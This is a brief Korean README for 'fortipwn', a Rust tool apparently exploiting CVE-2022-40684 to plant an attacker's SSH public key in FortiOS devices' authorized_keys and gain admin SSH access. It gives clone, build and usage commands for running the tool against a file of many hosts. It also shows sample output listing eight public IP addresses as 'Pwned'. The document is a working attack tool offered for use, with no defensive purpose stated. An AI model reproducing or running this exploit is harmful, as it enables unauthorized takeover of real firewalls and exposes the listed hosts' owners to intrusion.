
Forti CVE-2022-40684 열거 스크립트 (Rust로 작성됨)
Forti CVE-2022-40684 열거 스크립트 (Rust 기반).
SSH 공개 키를 authorized_keys에 업로드하여, 공격자가 FortiOS를 실행 중인 서버에 admin으로 SSH 접속할 수 있게 합니다.
$ ./fortipwn <hosts.txt> <id_rsa.pub>
$ git clone https://github.com/Grapphy/fortipwn/
$ cd fortipwn
$ cargo build --release
$ cd target/release/
$ ./fortipwn <host.txt> <id_rsa.pub>
$ ./fortipwn examples_ip.txt id_rsa.pub
Checking for 150 hosts. You might log-in through ssh as admin@host on pwned hosts.
Pwned: 210.29.110.143
Pwned: 144.14.71.122
Pwned: 21.220.10.82
Pwned: 163.123.102.32
Pwned: 121.159.192.10
Pwned: 162.49.194.19
Pwned: 185.92.20.40
Pwned: 194.19.211.19
Finished scanning